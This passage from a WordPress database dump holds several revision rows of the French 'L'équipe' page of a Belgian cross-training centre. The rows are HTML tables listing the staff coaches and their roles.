#ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-11', '', '', '2013-06-16 15:03:45', '2013-06-16 15:03:45', '', 20, 'http://www.crosstrainingcenter.be/?p=138', 0, 'revision', '', 0),
(140, 1, '2013-06-16 15:07:01', '2013-06-16 15:07:01', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\n\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-13', '', '', '2013-06-16 15:07:01', '2013-06-16 15:07:01', '', 20, 'http://www.crosstrainingcenter.be/?p=140', 0, 'revision', '', 0),
(139, 1, '2013-06-16 15:04:18', '2013-06-16 15:04:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Daimen Pierrard&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-12', '', '', '2013-06-16 15:04:18', '2013-06-16 15:04:18', '', 20, 'http://www.crosstrainingcenter.be/?p=139', 0, 'revision', '', 0);
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(141, 1, '2013-06-16 15:07:42', '2013-06-16 15:07:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; 